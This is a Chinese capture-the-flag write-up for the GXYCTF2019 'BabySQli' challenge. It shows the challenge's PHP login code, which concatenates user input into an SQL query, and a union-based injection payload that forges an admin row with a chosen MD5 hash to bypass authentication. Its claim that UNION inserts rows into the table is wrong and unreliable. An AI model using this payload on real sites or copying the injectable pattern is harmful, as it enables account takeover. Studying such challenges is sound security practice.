[GXYCTF2019]BabySQli wp
[GXYCTF2019]BabySQli
对注释进行base32和base64解密后
猜字段、各种注入后,没回显,这里会想到用盲注,
但这里用到了一个联合查询的数据库特性
联合查询不存在的数据时,数据库会将这段数据插入到表中,构造虚拟数据。
因此这里我们可以利用假帐号和密码去获取.
<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->
2 <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
3 <title>Do you know who am I?</title>
4 <?php
5 require "config.php";
6 require "flag.php";
7
8 // 去除转义
9 if (get_magic_quotes_gpc()) {
10 function stripslashes_deep($value)
11 {
12 $value = is_array($value) ?
13 array_map(‘stripslashes_deep‘, $value) :
14 stripslashes($value);
15 return $value;
16 }
17
18 $_POST = array_map(‘stripslashes_deep‘, $_POST);
19 $_GET = array_map(‘stripslashes_deep‘, $_GET);
20 $_COOKIE = array_map(‘stripslashes_deep‘, $_COOKIE);
21 $_REQUEST = array_map(‘stripslashes_deep‘, $_REQUEST);
22 }
23
24 mysqli_query($con,‘SET NAMES UTF8‘);
25 $name = $_POST[‘name‘];
26 $password = $_POST[‘pw‘];
27 $t_pw = md5($password);
28 $sql = "select * from user where username = ‘".$name."‘";
29 // echo $sql;
30 $result = mysqli_query($con, $sql);
31
32
33 if(preg_match("/\(|\)|\=|or/", $name)){
34 die("do not hack me!");
35 }
36 else{
37 if (!$result) {
38 printf("Error: %s\n", mysqli_error($con));
39 exit();
40 }
41 else{
42 // echo ‘<pre>‘;
43 $arr = mysqli_fetch_row($result);
44 // print_r($arr);
45 if($arr[1] == "admin"){
46 if(md5($password) == $arr[2]){
47 echo $flag;
48 }
49 else{
50 die("wrong pass!");
51 }
52 }
53 else{
54 die("wrong user!");
55 }
56 }
57 }
58
59 ?>
这里可以看出$result是查询的返回值。同时过滤账号名是否为admin。
mysqli_query($conn, $sql)的返回值类型:
(1)DML: 增删改,执行失败返回false,成功返回true
(2)DQL: 查,执行失败返回false,成功返回查询结果集对象,可能有0/1/N行数据;
也就是意味着当我们通过payload查询时,会返回我们构造的虚拟数据。
因此我们的payload为
name=-1'union+select+1,'admin','e10adc3949ba59abbe56e057f20f883e'%3b%23&pw=123456
这里只能通过猜测开发者常用的md5加密过滤,或者看源码了。
e10adc3949ba59abbe56e057f20f883e就是123456的md5加密。